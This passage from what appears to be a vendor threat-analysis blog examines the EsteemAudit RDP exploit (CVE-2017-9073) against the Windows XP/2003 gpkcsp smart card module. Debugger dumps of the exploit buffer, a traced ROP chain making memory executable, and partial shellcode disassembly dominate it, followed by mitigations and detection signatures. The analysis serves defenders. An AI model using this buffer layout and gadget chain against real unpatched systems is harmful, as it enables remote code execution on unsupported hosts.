0:003> dc 080190d8 L1c0/4 080190d8 d26ccf61 08011e7a 0801118e 08005e85 a.l.z……..^.. 080190e8 0800bedd 11111111 9d273fbe e636c0ea ………?’…6. 080190f8 00000000 b02838fd 08011fef 08019078 …..8(…..x… 08019108 3005123c 22222222 00000000 f7a1d915 <..0″”””…….. 08019118 00004000 080128cc 0000008f 7ffe0300 .@…(………. 08019128 08015074 08019148 08019118 ffffffff tP..H……….. 08019138 08019130 08019118 00000040 08019130 0…….@…0… 08019148 8b6404b0 06002d00 c4890000 00e8c689 ..d..-………. 08019158 90000000 d5858b5d 89000000 858b0446 ….]…….F… 08019168 000000d9 310c4689 104689c0 8b144689 …..F.1..F..F.. 08019178 0000dd85 8b008b00 0000bc80 18468900 …………..F. 08019188 00e1858b 008b0000 8b1c4689 0000e585 ………F…… 08019198 89008b00 468b2046 2846890c 4689c031 ….F .F..F(1..F 080191a8 00b5e82c c0850000 468b6675 0846892c ,…….uf.F,.F. 080191b8 2b0c468b 89501046 468b50e0 10460308 .F.+F.P..P.F..F. 080191c8 50c03150 ff1476ff 76ff0476 1876ff20 P1.P.v..v..v .v. 080191d8 591c56ff 8b144689 c8011046 8b104689 .V.Y.F..F….F.. 080191e8 46890846 10468b24 00d9853b c07c0000 F..F$.F.;…..|. 080191f8 4689c031 244e8b10 0189c889 0471ff51 1..F..N$….Q.q. 08019208 c083c889 d0ff5014 03ebc031 5048c031 …..P..1…1.HP 08019218 852c468b 8b0e74c0 58e81058 85000000 .F,..t..X..X…. 08019228 ff0274db c3e431d3 080192d8 00006346 .t…1……Fc.. 08019238 08176dd8 0800119c 080011cc 000012b8 .m………….. 08019248 24548d00 c22ecd04 18c20018 0057b800 ..T$……….W. 08019258 548d0000 2ecd0424 6a0010c2 30006840 …T$……j@h.0 08019268 468d0000 c0315028 2c468d50 48c03150 …F(P1.P.F,P1.H 08019278 ffc6e850 68c3ffff 00008000 5028468d P……h…..F(P 08019288 502c468d 5048c031 ffffc0e8 6578c3ff .F,P1.HP……xe

After the exploit buffer is ready, gpkcsp!MyCPAcquireContext processes the ReleaseProvider path.

Figure 34 gpkcsp!MyCPAcquireContext processes the ReleaseProvider path

This will trigger the C++ class vtable call KeyObject->release in the CryptDestroyKey function.

Figure 35 Object is released in the CryptDestroyKey function

The log below show the process from controlling EIP to shellcode execution. The exploit uses the SharedUserData technique to call KiFastSystemCall to execute VirtualProtect and make the memory 0x080180d8 writable and executable, and to execute the shellcode at address 0x08019148. At this point the exploit has completed the first stage.

0:011> g 08007c2b eax=080190dc ebx=77f3f5b0 ecx=02cdaff8 edx=00000000 esi=000000b8 edi=00000000 eip=08007c2b esp=02dfe40c ebp=02dfe420 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 gpkcsp!ReleaseProvider+0xef: 08007c2b ffd3 call ebx {ADVAPI32!CryptDestroyKey (77f3f5b0)} 0:011> eax=00000001 ebx=00000001 ecx=77f50c75 edx=00000000 esi=080190dc edi=08019078 eip=77f3f615 esp=02dfe3c0 ebp=02dfe404 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ADVAPI32!CryptDestroyKey+0x6e: 77f3f615 ff5608 call dword ptr [esi+8] ds:0023:080190e4=08005e85 0:011> t eax=00000001 ebx=00000001 ecx=77f50c75 edx=00000000 esi=080190dc edi=08019078 eip=08005e85 esp=02dfe3bc ebp=02dfe404 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 gpkcsp!GetAppWindow+0x1c: 08005e85 8bc6 mov eax,esi 0:011> eax=080190dc ebx=00000001 ecx=77f50c75 edx=00000000 esi=080190dc edi=08019078 eip=08005e87 esp=02dfe3bc ebp=02dfe404 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 gpkcsp!GetAppWindow+0x1e: 08005e87 5e pop esi 0:011> eax=080190dc ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078 eip=08005e88 esp=02dfe3c0 ebp=02dfe404 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 gpkcsp!GetAppWindow+0x1f: 08005e88 c3 ret 0:011> t eax=080190dc ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078 eip=0800bedd esp=02dfe3c4 ebp=02dfe404 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 gpkcsp!funcCheck+0x129: 0800bedd 94 xchg eax,esp 0:011> t eax=02dfe3c4 ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078 eip=0800bede esp=080190dc ebp=02dfe404 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 gpkcsp!funcCheck+0x12a: 0800bede c3 ret 0:011> t eax=02dfe3c4 ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078 eip=08011e7a esp=080190e0 ebp=02dfe404 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 gpkcsp!MyCPSignHash+0x3ac: 08011e7a c21c00 ret 1Ch 0:011> t eax=02dfe3c4 ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078 eip=0801118e esp=08019100 ebp=02dfe404 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 gpkcsp!MyCPImportKey+0xac3: 0801118e c21800 ret 18h 0:011> t eax=02dfe3c4 ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078 eip=08011fef esp=0801911c ebp=02dfe404 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 gpkcsp!__report_gsfailure+0xdf: 08011fef c3 ret 0:011> t eax=02dfe3c4 ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078 eip=080128cc esp=08019120 ebp=02dfe404 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 gpkcsp!CC_Exit+0x4f: 080128cc 58 pop eax 0:011> t eax=0000008f ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078 eip=080128cd esp=08019124 ebp=02dfe404 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 gpkcsp!CC_Exit+0x50: 080128cd 5b pop ebx 0:011> t eax=0000008f ebx=7ffe0300 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078 eip=080128ce esp=08019128 ebp=02dfe404 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 gpkcsp!CC_Exit+0x51: 080128ce c3 ret 0:011> t eax=0000008f ebx=7ffe0300 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078 eip=08015074 esp=0801912c ebp=02dfe404 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 gpkcsp!CC_Exit+0x27f7: 08015074 ff23 jmp dword ptr [ebx] ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c9585e8)} Shellcode start: No prior disassembly possible 08019148 b004 mov al,4 0801914a 648b00 mov eax,dword ptr fs:[eax] 0801914d 2d00060000 sub eax,600h 08019152 89c4 mov esp,eax 08019154 89c6 mov esi,eax 08019156 e800000000 call gpkcsp!IsProgButtonClick+0x8f (0801915b) 0801915b 90 nop 0801915c 5d pop ebp 0801915d 8b85d5000000 mov eax,dword ptr [ebp+0D5h] 08019163 894604 mov dword ptr [esi+4],eax 08019166 8b85d9000000 mov eax,dword ptr [ebp+0D9h] 0801916c 89460c mov dword ptr [esi+0Ch],eax 0801916f 31c0 xor eax,eax 08019171 894610 mov dword ptr [esi+10h],eax 08019174 894614 mov dword ptr [esi+14h],eax 08019177 8b85dd000000 mov eax,dword ptr [ebp+0DDh] 0801917d 8b00 mov eax,dword ptr [eax] 0801917f 8b80bc000000 mov eax,dword ptr [eax+0BCh] 08019185 894618 mov dword ptr [esi+18h],eax 08019188 8b85e1000000 mov eax,dword ptr [ebp+0E1h] 0801918e 8b00 mov eax,dword ptr [eax] 08019190 89461c mov dword ptr [esi+1Ch],eax 08019193 8b85e5000000 mov eax,dword ptr [ebp+0E5h] 08019199 8b00 mov eax,dword ptr [eax] 0801919b 894620 mov dword ptr [esi+20h],eax 0801919e 8b460c mov eax,dword ptr [esi+0Ch] 080191a1 894628 mov dword ptr [esi+28h],eax 080191a4 31c0 xor eax,eax 080191a6 89462c mov dword ptr [esi+2Ch],eax 080191a9 e8b5000000 call gpkcsp!IsProgButtonClick+0x197 (08019263) … 0:011> !address 08019148 Failed to map Heaps (error 80004005) Usage: Image Allocation Base: 08000000 Base Address: 08019000 End Address: 0801e000 Region Size: 00005000 Type: 01000000 MEM_IMAGE State: 00001000 MEM_COMMIT Protect: 00000040 PAGE_EXECUTE_READWRITE More info: lmv m gpkcsp More info: !lmi gpkcsp More info: ln 0x8019148

Detection and Mitigation

As CVE-2017-9073 only exists on Windows Server 2003 and Windows XP, both of which are no longer supported by Microsoft, users should first consider upgrading to a newer version of Windows as no official patch is available. However, as this vulnerability exists in the smart card module gpkcsp, there are potential work-arounds.

Disabling the smart card module through Group Policy or in the registry. Do this in the registry: Set/Add key fEnableSmartCard in the path HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\ to 0 with the type of REG_DWORD.

Traps prevents exploitation of this vulnerability on Windows XP and Server 2003 hosts.

Threat Prevention Signature 32533 released in Content Update 692 detects the exploit in the NGFW.

Wherever possible, disable or restrict access to RDP from external sources

Conclusion

RDP is a very useful but very complex component of Windows. Based on our analysis of the EsteemAudit exploit, we find that the vulnerability itself is not obscure, but it took quite a bit of effort to write a successful exploit. Interestingly, gpkcsp choose a global variable to store the data sent by the client, it supplies a capacity of controlling the arbitrary data in already-known address in the remote server without ASLR. This is a powerful feature for exploit authors to take advantage of. In any case, EsteemAudit is a reliable and powerful RDP exploit tool for Windows XP and Windows 2003. Users should take steps to ensure their Windows XP and Windows Server 2003 are protected through one of the mitigation steps listed above. A network vulnerability like this one can be used in a “worm-able” fashion, similar to the WanaCrypt0r attacks which had global impact earlier this month.

Register for Ignite ’17 Security Conference

Vancouver, BC June 12–15, 2017

Ignite ’17 Security Conference is a live, four-day conference designed for today’s security professionals. Hear from innovators and experts, gain real-world skills through hands-on sessions and interactive workshops, and find out how breach prevention is changing the security industry. Visit the Ignite website for more information on tracks, workshops and marquee sessions.